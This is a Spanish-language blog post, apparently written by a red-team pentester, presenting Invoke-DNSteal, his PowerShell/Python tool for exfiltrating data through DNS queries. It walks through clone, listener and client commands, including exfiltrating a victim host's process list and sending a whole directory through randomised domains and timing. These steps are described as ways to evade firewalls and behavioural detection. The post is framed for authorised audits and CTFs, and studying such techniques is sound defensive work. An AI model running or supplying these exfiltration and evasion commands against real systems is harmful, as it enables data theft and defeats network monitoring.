Muy buenas a todos!
Esta semana vuelvo (de nuevo) con otro proyecto entre manos. Se trata de una pequeña y ligera herramienta llamada Invoke-DNSteal, que nos permitirá exfiltrar información a través del protocolo DNS. Gracias a su simplicidad, no necesitaremos prácticamente dependencias para utilizarla y podremos recibir información tanto en Windows como en Linux.
Como ya pudimos ver en entradas anteriores, uno de los problemas más comunes que todo pentester suele padecer en algún momento de la auditoría o ejercicio de Red Team, es la comunicación al exterior desde un host comprometido.
Si no has leído como exfiltrar información con DNSCat2 desde zero, te recomiendo que lo hagas antes de comenzar con este post. Además, la configuración del dominio será idéntica en ambos casos, por lo que necesitarás realizar estos pasos obligatoriamente si quieres exfiltrar información a través de internet.
Como seguramente sabrás, existen todo tipo de herramientas para este propósito. Al fin y al cabo, yo no he inventado este concepto (ni he venido a reinventar la rueda). En su momento ya hablamos de Mística en este post, que no solo permite exfiltrar información, sino que también nos permite redireccionar puertos o recibir una shell reversa a través de éste y otros muchos protocolos.
Otra herramienta que suelo utilizar mucho y que suele funcionar bastante bien, es DNSExfiltrator ya que, nos permite cifrar la información al vuelo y es bastante completa en cuanto a personalización se refiere. Sin duda, una herramienta que no debería faltar en tu arsenal si quieres exfiltrar a través de DNS.
Ahora bien, si ya existen herramientas muy buenas para este propósito (evidentemente, no las voy a enumerar todas), qué sentido tiene hacer una más? Pues sencillamente, por mucho que lo he intentado, hay cosas que no he conseguido llevar a cabo con estas tools.
Todo esto comenzó durante un ejercicio de Red Team, en el que me disponía a exfiltrar información a través de DNS como de costumbre. Hasta aquí todo correcto: Entorno Windows, mi dominio configurado en Cloudflare y la Kali esperando a recibir la información. Pero una vez me dispuse a ello, me encontré con muchos problemas.
En primer lugar, solo podía utilizar registros de tipo A. En segundo lugar, las consultas no podían sobrepasar un determinado tamaño (si no, el firewall de turno me bloqueaba las querys). Y por si todo esto fuese poco, cuando enviaba una cantidad determinada de consultas correctamente, me acababan bloqueando de nuevo por comportamiento.
Llegados a este punto, decidí hacer una pequeña lista de todo lo que necesitaba para poder crear una herramienta que cubriese todas mis necesidades:
• Que sea lo más ligera y compatible posible
• Utilizar preferentemente funciones nativas del sistema
• Compatibilidad con DNS tanto en UDP como en TCP
• Longitud de las consultas personalizable para controlar el tamaño total
• Tiempos de espera aleatorios para evitar detecciones por comportamiento
• Posibles técnicas de evasión utilizando elementos aleatorios
• Control de secuencia y extensión en los ficheros exfiltrados
• Capacidad de exfiltrar todo un directorio completo de forma desatendida
Una vez claros los requisitos, me puse manos a la obra con Invoke-DNSteal 😄
La herramienta en cuestión, está compuesta por dos componentes: La parte cliente y la parte servidor. La primera, – tal y como era de esperar – está hecha en PowerShell y la segunda en Python2 (sí, has leído bien, Python2).
Por falta de tiempo (principalmente), ya tenía parte del código hecho en este lenguaje y hacer un port a Python3 me suponía un esfuerzo que no podía asumir. Por ello, prioricé la funcionalidad, pese a utilizar un lenguaje obsoleto desde hace más de un año.
En ambos casos, ninguna de las partes requiere ningún tipo de dependencia adicional (aparte del intérprete), ya que, no se hace uso de ninguna librería creada por terceros. En la parte cliente, necesitaremos Windows 8 o superior y en la parte servidor, nada más que Python2 instalado o en su versión portable, tanto en Windows como en Linux.
A continuación, os dejo la página del proyecto en GitHub para más información: https://github.com/JoelGMSec/Invoke-DNSteal
Ahora que ya conocemos un poco mejor a Invoke-DNSteal, vamos a comprobar si funciona 😜
En primer lugar, clonaremos el repositorio como de costumbre:
git clone https://github.com/JoelGMSec/Invoke-DNSteal.git
Una vez descargado, nos encontraremos con las dos partes mencionadas anteriormente. Lo primero que haremos, será consultar la sintaxis de ayuda utilizando el parámetro -h:
Como puede verse en la imagen anterior, el uso de la parte servidor es completamente trivial. Lo único que deberemos hacer para poner el servidor a la escucha, es introducir nuestra IP (o todas, con 0.0.0.0) y el protocolo que queremos utilizar con -udp o -tcp.
Si hacemos lo mismo con la parte cliente, la sintaxis de uso resultante es mucho más compleja, tal y como se muestra a continuación:
A pesar de que la ayuda es bastante completa, vamos a repasar cada uno de los parámetros que podemos utilizar en el cliente:
Parámetro | Descripción |
---|---|
-t / Target* | Dominio a utilizar: Siguiendo el formato sub.dominio.com |
-p / Payload* | Datos a exfiltrar: Como string, como objeto dentro de una variable o mediante $pwd\nombre_del_fichero.ext |
-l / Longitud | Longitud del payload dentro de la consulta DNS. Por defecto, la longitud del payload es de 24 caracteres |
-s / Servidor | Servidor que resolverá las consultas DNS, puede ser local o externo. Si no se indica, se utilizará el servidor por defecto |
-tcponly | Si se indica true tras el parámetro, se utilizará TCP para realizar las consultas DNS. En caso contrario, se utilizará UDP |
-min | Retraso mínimo en milisegundos entre consultas |
-max | Retraso máximo en milisegundos entre consultas. Se utilizará de forma aleatoria los valores entre min y max |
-random | Utiliza dominios aleatorios en cada una de las consultas, independientemente del dominio introducido como target |
Los parámetros indicados con * son obligatorios, el resto son completamente opcionales. Con el fin de entender mejor el uso de la herramienta, vamos a contemplar los ejemplos más comunes en los siguientes casos de uso.
Lo primero que haremos en cualquier caso, es poner el servidor a la escucha de la siguiente forma:
python Invoke-DNSteal.py 0.0.0.0 -udp
A partir de aquí, podremos recibir cualquier tipo de información (ya sea un string, un objeto de PowerShell o un fichero con su correspondiente extensión) sin tener que realizar absolutamente nada más en la parte servidor.
En mi caso, lo he utilizado en mi Kali, pero podríamos hacerlo en una máquina Windows utilizando Portable Python o cualquier otra solución.
Ahora, vamos a realizar una pequeña prueba enviando un string a través de internet. Recuerda que para ello vas a necesitar un dominio correctamente configurado y un direccionamiento (en mi caso un NAT) a la máquina donde se esté ejecutando el servidor.
Siempre suelo realizar este tipo de pruebas para comprobar que el entorno está operativo y funciona correctamente. Para ello, ejecutaremos el siguiente comando en la parte cliente:
.\Invoke-DNSteal.ps1 -t sub.dominio.com -p test
Si todo ha funcionado correctamente, deberíamos ver algo parecido a la imagen anterior. De similar forma, deberíamos ver lo mismo en la parte servidor, junto a un mensaje que nos indica que el fichero se ha guardado correctamente en un fichero de tipo .txt
Una de las cosas que podemos hacer para comprobar lo anterior, es utilizar una función de debug que no se incluye en la ayuda. Para llevarlo a cabo, ejecutaríamos el siguiente comando en la terminal:
.\Invoke-DNSteal.ps1 -d payload
Como puede verse en la imagen anterior, el payload corresponde perfectamente a los datos enviados, por lo que de esta forma, sabemos a ciencia cierta que la comunicación no ha sido alterada por el camino.
En el siguiente caso de uso, vamos a exfiltrar los procesos que están ejecutándose en el equipo víctima utilizando una variable de PowerShell como payload. Para añadirle algo más de complejidad, utilizaremos el servidor DNS de Cloudflare con 1 segundo de espera entre peticiones, con una longitud de 32 bytes por consulta a través de TCP:
$Data = Get-Process | Out-String ; .\Invoke-DNSteal.ps1 -t sub.domain.com -p $data -l 32 -s 1.1.1.1 -tcponly true -min 1000
Un dato interesante es que, en la primera línea del cliente, siempre nos aparecerá la siguiente información:
• Cantidad de datos (efectivos) enviados en Bytes/KB/MB/GB
• Cantidad de consultas (chunks) que serán enviadas en total
• Protocolo sobre el que se enviará la información
• Fecha y hora exacta en la que comienza la transmisión
Es importante destacar, que los datos efectivos no son los datos totales, ya que en el extremo del servidor siempre recibiremos las consultas con el siguiente formato:
Número de secuencia + payload (con longitud definida) + sub.dominio.com
Por lo tanto, hay que sumar los bytes extras de las consultas a nuestros payloads (esto siempre podremos verlo en la parte servidor).
Adicionalmente, siempre se enviará una query de inicio y otra de fin, con los nombres start y end respectivamente. En estas secuencias, se enviará la extensión, con el fin de ahorrar algunos bytes en el resto de consultas.
Una vez transcurrido el tiempo necesario para recibir el fichero anterior, deberíamos recibir algo parecido a la siguiente imagen:
Ahora que tenemos claro las funcionalidades más básicas de la herramienta, vamos a ver el ejemplo de uso más complejo de todos 🤯
Supongamos que hemos comprometido dos equipos en un entorno Windows (por ejemplo, una red de Active Directory). Desde la máquina A podemos llegar a la máquina B y viceversa, pero, la máquina B no tiene salida a internet y queremos exfiltrar un directorio completo a la máquina A, que si tiene salida a internet.
En ambos casos, solo disponemos de usuarios no privilegiados, por lo que, tanto el proceso de envío como recepción, se realizará en procesos de integridad media. El único requisito indispensable es, que exista una regla en el firewall del sistema que permita la conexión al servidor.
Además, sabemos que hay un firewall de nueva generación entre ambas, que podría frustrar nuestros planes bloqueando cualquiera de los dominios que queramos utilizar (esto también sería aplicable si la salida fuese a directamente a internet).
Esta casuística, a priori, sería un gran problema para cualquier experto en la materia. Pero, gracias a la implementación a bajo nivel del servidor DNS (kudos a @3v4si0n por la fantástica implementación en TCP) esto no será ningún problema.
Básicamente, nuestro servidor siempre responderá sea cual sea el servidor de destino. Es decir, si preguntamos por fake.domain.com, nuestro servidor recibirá la consulta y nos devolverá la IP sobre la que se está ejecutando.
De esta forma, si utilizamos un dominio totalmente aleatorio en cada una de las consultas, ningún sistema de bloqueo de dominios nos afectará en absoluto. Aunque bloqueasen cada uno de los dominios utilizados, la probabilidad de que se repita exactamente la misma cadena es extremadamente baja.
Por tanto, la única forma de bloquear esta comunicación sería bloqueando el tráfico DNS entre estas máquinas, o bloqueando la comunicación por IP en origen o en destino. Evidentemente, en función del entorno y de las máquinas comprometidas, esto sería totalmente inviable, dándonos paso libre a nuestra transferencia de ficheros con Invoke-DNSteal.
Como una imagen vale más que mil palabras, vamos a verlo en la práctica. Lo primero que haremos, será descargar cualquier versión de Python para Windows (portable o instalable, a preferencia del usuario) y pondremos el servidor a la escucha en modo UDP.
A continuación, ejecutaremos el siguiente comando en la parte cliente:
(ls).name | % { .\Invoke-DNSteal.ps1 -t c2.fake.domain -p $pwd\$_ -l 24 -s ip_de_destino -tcp false -min 0 -max 0 -random }
Esto enviará cada uno de los ficheros del directorio, con su correspondiente extensión a través de consultas aleatorias a máxima velocidad. Si quisiéramos aumentar aún más la capacidad de transmisión, podríamos aumentar la longitud del payload hasta 240 caracteres.
Es muy importante tener en cuenta que la capacidad máxima de las consultas tipo A en el protocolo DNS no pueden exceder en ningún caso los 255 bytes, por lo que superar dicho límite podría llegar a corromper la transmisión de datos. Se recomienda no utilizar valores superiores a 200 al determinar la longitud del dominio deseada.
Si todo ha funcionado como debe (si existe algún error en las consultas, éstas no aparecerán en el cliente), deberíamos observar como recibimos los datos en la parte servidor:
Y por último, deberíamos ver los ficheros recibidos tal y como se muestra a continuación:
A partir de aquí, podéis combinar todas y cada una de las posibilidades que ofrece la herramienta (controlar los bytes recibidos, utilizar tiempos y dominios aleatorios, etc..) con el fin, de poder evadir cualquier solución capaz de bloquear este tipo de tráfico.
Además, es posible utilizar la herramienta para transferir ficheros en cualquier escenario (por ejemplo en Hack The Box) independientemente de si hay salida a internet o no.
Como conclusión final, esta herramienta todavía se encuentra en fase beta y es posible os encontréis algunos fallos en escenarios muy concretos. Si localizáis alguno, no dudéis en contactar conmigo para resolverlo lo antes posible 🙂
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!